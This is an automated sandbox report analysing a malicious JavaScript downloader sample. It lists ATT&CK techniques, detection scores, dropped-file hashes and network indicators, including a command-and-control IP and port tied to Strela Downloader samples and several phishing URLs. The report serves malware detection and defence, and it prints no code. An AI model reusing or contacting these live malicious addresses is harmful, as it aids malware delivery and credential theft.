Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
299273933818721331.js	3%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/space	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/pW	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/U	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ax-0001.ax-msedge.net	150.171.28.10	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.2457967736.000001FCE4E80000.00000004.00000800.00020000.00000000.sdmp, edb.log.15.dr	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.3671596385.000001FCE5000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/U	net.exe, 0000000D.00000002.2456375316.000001B59BF5A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.2456375316.000001B59BF5A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.2456375316.000001B59BF28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.2456375316.000001B59BF7A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/space	net.exe, 0000000D.00000002.2456375316.000001B59BF28000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pW	net.exe, 0000000D.00000002.2456375316.000001B59BF28000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588072
Start date and time:	2025-01-10 20:57:36 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	299273933818721331.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 52.6.155.20, 3.219.243.226, 3.233.129.217, 52.22.41.97, 23.209.209.135, 2.23.242.162, 2.16.168.105, 2.16.168.107, 184.28.90.27, 20.12.23.50, 40.126.32.136, 20.199.58.43, 18.213.11.84, 2.23.227.208, 104.78.188.188, 20.223.35.26, 150.171.28.10
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, tse1.mm.bing.net, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, login.live.com, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net, www.bing.com, fs.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 299273933818721331.js

Simulations

Behavior and APIs

Time	Type	Description
14:59:00	API Interceptor	21x Sleep call for process: powershell.exe modified
14:59:04	API Interceptor	1x Sleep call for process: net.exe modified
14:59:04	API Interceptor	2x Sleep call for process: svchost.exe modified
14:59:11	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	7281316381146719051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8692281511118412139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20512268371239412475.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225008411339129134.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16112188701857928577.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	929826576149214658.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1926422634111517010.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1713990941768710675.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ax-0001.ax-msedge.net	lock.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	nested-Please Review%3A].eml	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://atozpdfbooks.com	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://infarmbureau.com	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://app.planable.io/review/0OPaw36t6M_k	Get hash	malicious	HTMLPhisher	Browse	150.171.28.10
	https://we.tl/t-fnebgmrnYQ	Get hash	malicious	Unknown	Browse	150.171.28.10
	https://email.analystratings.net/ls/click?upn=u001.WeKo-2BCuHku2kJmVIsYmGxteRO-2BqdkFdZns7E8OZ0trgZRhaAY0f4dRd5bGXo8w1-2B5SPZj6mt6bkINmYNA1f4blf-2F2qp6pSrdQgqdtKPVZlFfsGiBd9L9S-2BVNmfUTaZ-2Bp0zWbjdQ23pm6OHkVsvPYDi1myQ0pU4BHbfSebmhjQAIDDVMgAvG7Znw7Pr8RLFA8HEKUDF6j4JiiZ3slfATgGRu3-2BdlWbffHNdZW8UBc7QW6Nxd08b90zhz6-2FhInZrSp1J-2Fh9yU6gsolKI10c6pp1uA-2FrYRI2h9aMn65O5NvFrP-2Fc-2BjlCyvznYBIXNfkBGEguSmRbREbgogGbx0CjJc9kfZpcF-2F4T3W7floa7RxJ5-2BKjbFDYD7FnGxTCmOAt-2BDLn5J0y5KvJMT3qFWKyQo5DJ5ru0B7ksJyMiI6L18xz5XP2GRtxbC7dwfszL4xopys7uMk6wzOFXTrTU9jYi2ZvQxqCtOzUddy1WGVe8msfQF8x3k3Ejw4p6mGzrKR8wOZXnO3uVw5n8j0tNkc31-2F1y7FsWAGygTmAHNV4DJiUXG3-2Foq61jCXRLG1PMMCZ97ToDeMjE9XjfX-2Bb4NXrzqR3tgw-3D-3DwyWG_tUVFAbhJxF44ufbifaYzyYApcQooCC4WsuZoiwe419Oh5WFVYobMs1ROnIPWGGcLQ6-2Bsxhj60Ehn0XDEyVD6MCEZ1gioYU2lwgwkCuP2dHRX-2FYdZnQ31dEdwKW37GtXYj9HmZ1F0YrZWwSELmaO5K7noqwYAhu2QGcGqOtQYdjShoJMVTWOe6BTzZXQxib8Y6rd4SX-2BUwZMt-2BbgPIpal6PcS8i4PCSiFy8RF-2Ftt22Wpj713n23BIU6an4375YDP3	Get hash	malicious	Unknown	Browse	150.171.28.10
	http://api.myuhchvision.com/	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://www.oneroguereporter.com/gks	Get hash	malicious	Unknown	Browse	150.171.27.10
	colleague[1].htm	Get hash	malicious	Unknown	Browse	150.171.27.10

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	7281316381146719051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8692281511118412139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20512268371239412475.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225008411339129134.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16112188701857928577.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	929826576149214658.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1926422634111517010.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	143686862513618164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263143854275227
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0I:9JZj5MiKNnNhoxut
MD5:	595E24EFF7D45BEE19C6CD52C81B1542
SHA1:	A757F6094DFB7D96AAA08E4A65D51164BA2B2EF8
SHA-256:	A37901F3BA169C3DA138DBE81C30B91CCAB04C59056C8FA1CC739EA0C56E7F09
SHA-512:	3ABE748B42FE122E0338CCB4FB180E7B74F5F12C636C14E6E1F9BD0D74B6A5D0F249533ADE0D7289A6FFB3A4EE2144259DF43092D99581EDB5C659FA7BE28885
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x32fff60e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.755580551230869
Encrypted:	false
SSDEEP:	1536:VSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:VazaSvGJzYj2UlmOlOL
MD5:	7EE99EA793564E5F62BC4E32C4EB2CEA
SHA1:	6012FC3F3DC4A7991C7D75D2B8A1FFB5CDAD78D9
SHA-256:	63370F83B577C9CCDB7F644D7AEE3A3BE41586D6BD03392AEC48AF9D3F3EB0DE
SHA-512:	F225A1E64F2ED1CE12CEB36275EDC6AC627CD6C441B7D9A34DC50668D683F4B358962E281E63962CB9987565B5931C275937A3E2D99A8171FFA4434EC458F3EF
Malicious:	false
Preview:	2...... .......7.......X\...;...{......................0.e......!...{?..;...}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................L.{.;...}.................."L+..;...}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07997927408357716
Encrypted:	false
SSDEEP:	3:SJtlEYeWBSZEefNaAPaU1ltr0LltalluxmO+l/SNxOf:SjlEzJZEENDPaUVr0LegmOH
MD5:	6F96895F88B58371E060DA36F545FD67
SHA1:	BDC0E8A662373CC02D388378AE0B139786EEE17D
SHA-256:	50D6C90B85CD8CB9B3EA94B252A266394B2685823149AF2CEE7B99D4473BBB8F
SHA-512:	C7BE40F0AC8A4EF9028FACC2B6B0429BF95FB2F8B82F3BC27EEF60E7CB27562664109FE8CD86E12D2F7E35986B95ABDBB250913CAB64F5C7A403FBA5F92361F2
Malicious:	false
Preview:	Y.T......................................;...{...;...}...!...{?..........!...{?..!...{?..g...!...{?................."L+..;...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.174949346671809
Encrypted:	false
SSDEEP:	6:iO4PC3cM+q2PN72nKuAl9OmbnIFUtSPVS3JZmwsPVS3cMVkwON72nKuAl9OmbjLJ:760cM+vVaHAahFUtkVEJ/2VEcMV5OaHi
MD5:	6143637FAF3D050E297D93C65C1298B9
SHA1:	B3BEF719AF289B10ADC797DE6860D136F7893CDE
SHA-256:	A8DABAFB7BE342C9DBE060BDDE863F687DC2966F5C0D6B98CDED764EB6D4C18A
SHA-512:	34DD4661B852B9D371F277DBA3D976D3E10E9C6DF44E1D8D48A9522C4DB0A1215D83111B07761D59E167A3210B98DC520D5F3563D28D6A6C269EAFCC09E8875D
Malicious:	false
Preview:	2025/01/10-14:59:04.470 108c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:59:04.472 108c Recovering log #3.2025/01/10-14:59:04.472 108c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.174949346671809
Encrypted:	false
SSDEEP:	6:iO4PC3cM+q2PN72nKuAl9OmbnIFUtSPVS3JZmwsPVS3cMVkwON72nKuAl9OmbjLJ:760cM+vVaHAahFUtkVEJ/2VEcMV5OaHi
MD5:	6143637FAF3D050E297D93C65C1298B9
SHA1:	B3BEF719AF289B10ADC797DE6860D136F7893CDE
SHA-256:	A8DABAFB7BE342C9DBE060BDDE863F687DC2966F5C0D6B98CDED764EB6D4C18A
SHA-512:	34DD4661B852B9D371F277DBA3D976D3E10E9C6DF44E1D8D48A9522C4DB0A1215D83111B07761D59E167A3210B98DC520D5F3563D28D6A6C269EAFCC09E8875D
Malicious:	false
Preview:	2025/01/10-14:59:04.470 108c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:59:04.472 108c Recovering log #3.2025/01/10-14:59:04.472 108c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.178358343769902
Encrypted:	false
SSDEEP:	6:iO4N3+q2PN72nKuAl9Ombzo2jMGIFUtSNF6ZmwsN6BNVkwON72nKuAl9Ombzo2jz:7TvVaHAa8uFUtH/Zh5OaHAa8RJ
MD5:	65438CACCE11C75E67018CDFC757C9B3
SHA1:	A148D386C089A8AF09033E273EA509E5C5F5EFFA
SHA-256:	5BAA1A9B1D29FF846C6E30429C571965841343C189383D9A0FCE28E966165D5B
SHA-512:	80788946CBE31F2594512FF1EB0A8EBA63787396DB6A57C2692BD994C610CC4C3DFFB1157730D739CAE4E79AD3A64EB682A51F729C7042BAABE967BF8037A241
Malicious:	false
Preview:	2025/01/10-14:59:04.638 1cc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:59:04.639 1cc8 Recovering log #3.2025/01/10-14:59:04.640 1cc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.178358343769902
Encrypted:	false
SSDEEP:	6:iO4N3+q2PN72nKuAl9Ombzo2jMGIFUtSNF6ZmwsN6BNVkwON72nKuAl9Ombzo2jz:7TvVaHAa8uFUtH/Zh5OaHAa8RJ
MD5:	65438CACCE11C75E67018CDFC757C9B3
SHA1:	A148D386C089A8AF09033E273EA509E5C5F5EFFA
SHA-256:	5BAA1A9B1D29FF846C6E30429C571965841343C189383D9A0FCE28E966165D5B
SHA-512:	80788946CBE31F2594512FF1EB0A8EBA63787396DB6A57C2692BD994C610CC4C3DFFB1157730D739CAE4E79AD3A64EB682A51F729C7042BAABE967BF8037A241
Malicious:	false
Preview:	2025/01/10-14:59:04.638 1cc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:59:04.639 1cc8 Recovering log #3.2025/01/10-14:59:04.640 1cc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.973815187481089
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqSP2sBdOg2Hucaq3QYiubcP7E4T3y:Y2sRds5PbdMHR3QYhbA7nby
MD5:	71E51873D99CAB3B63FE47F5681CAE9F
SHA1:	95F76251BF936D1FF2499B4213348FD81A802360
SHA-256:	94EEFE6D33DC4412ABE883D353394D112E0F05AC1EF6D44C1B5F284907546B1B
SHA-512:	0D471613614399329B06F8BD24E21A0E6C7D1E4597D3542778C97A556945E85A10FDF4B7574490BF02AA1167A717CB9E093045EAA0B0BC4D9523F09D1B488452
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381099156232785","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149204},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a17cd837-2c9d-4c9b-9752-ea630554952b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.973815187481089
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqSP2sBdOg2Hucaq3QYiubcP7E4T3y:Y2sRds5PbdMHR3QYhbA7nby
MD5:	71E51873D99CAB3B63FE47F5681CAE9F
SHA1:	95F76251BF936D1FF2499B4213348FD81A802360
SHA-256:	94EEFE6D33DC4412ABE883D353394D112E0F05AC1EF6D44C1B5F284907546B1B
SHA-512:	0D471613614399329B06F8BD24E21A0E6C7D1E4597D3542778C97A556945E85A10FDF4B7574490BF02AA1167A717CB9E093045EAA0B0BC4D9523F09D1B488452
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381099156232785","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149204},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.253031063009785
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7MEoEL:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhH
MD5:	164E6A55536F94E217753CDC4AC85646
SHA1:	40414020080E8DCE522723E9CC977AC05C3DDA44
SHA-256:	D4A2916D15ABB9FE287BE59D8A906E639B6CE8C1C28B275EE3CEE9B6ADC07696
SHA-512:	81A037923FA93ABD5CDDB35AC0AF1204E556F39781C91297B51A6154BCD6639E6809CF1368C21804C7B46A3DF6B1B91DEEA2A709AF9EA68510EBC51F74E88574
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.167049075489642
Encrypted:	false
SSDEEP:	6:iO4XF2N+q2PN72nKuAl9OmbzNMxIFUtS7ZmwsLVkwON72nKuAl9OmbzNMFLJ:7WxvVaHAa8jFUtq/o5OaHAa84J
MD5:	120198A13944554617D9618D6B8484C1
SHA1:	62A8F77B2187F9DB845D841A19DD2040E996489D
SHA-256:	7998C4EE0BD6DF060A5AB538FC1B2220DADD151C8C3630CB49B8348C5F1D50FA
SHA-512:	D06CE890811D9EF3750CE26987EA0401B3DEC0AB51966E159D775C55E85B86C70995C28C7BA896B0E230A0BF4478DE6BCF841556BA9147AEE10C5CCE4752764E
Malicious:	false
Preview:	2025/01/10-14:59:04.790 1cc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:59:04.791 1cc8 Recovering log #3.2025/01/10-14:59:04.791 1cc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.167049075489642
Encrypted:	false
SSDEEP:	6:iO4XF2N+q2PN72nKuAl9OmbzNMxIFUtS7ZmwsLVkwON72nKuAl9OmbzNMFLJ:7WxvVaHAa8jFUtq/o5OaHAa84J
MD5:	120198A13944554617D9618D6B8484C1
SHA1:	62A8F77B2187F9DB845D841A19DD2040E996489D
SHA-256:	7998C4EE0BD6DF060A5AB538FC1B2220DADD151C8C3630CB49B8348C5F1D50FA
SHA-512:	D06CE890811D9EF3750CE26987EA0401B3DEC0AB51966E159D775C55E85B86C70995C28C7BA896B0E230A0BF4478DE6BCF841556BA9147AEE10C5CCE4752764E
Malicious:	false
Preview:	2025/01/10-14:59:04.790 1cc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:59:04.791 1cc8 Recovering log #3.2025/01/10-14:59:04.791 1cc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444789255562923
Encrypted:	false
SSDEEP:	384:ye6ci5t9iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mWs3OazzU89UTTgUL
MD5:	F3B3D1254E8ED15893631C91897203F4
SHA1:	C993BB802F1A470D3A2880DD99E2EC9AF237887D
SHA-256:	77A8F41359FD16E89278D7E8ACB0A8F92D5FFFF81C9108446ED4CAA68F40CB96
SHA-512:	32F1E9006772C951F9D9B0CCA987703B88E5BDBE21A25513E259C1BDD6EE3A24BC9FFBBC5F71655056DD113912E82D74029295F7F8EE9284E434514437A56FBC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7682480224379526
Encrypted:	false
SSDEEP:	48:7MEJioyVQioyOoy1C7oy16oy1GKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1Of:7HJuQW1XjBiHb9IVXEBodRBk4
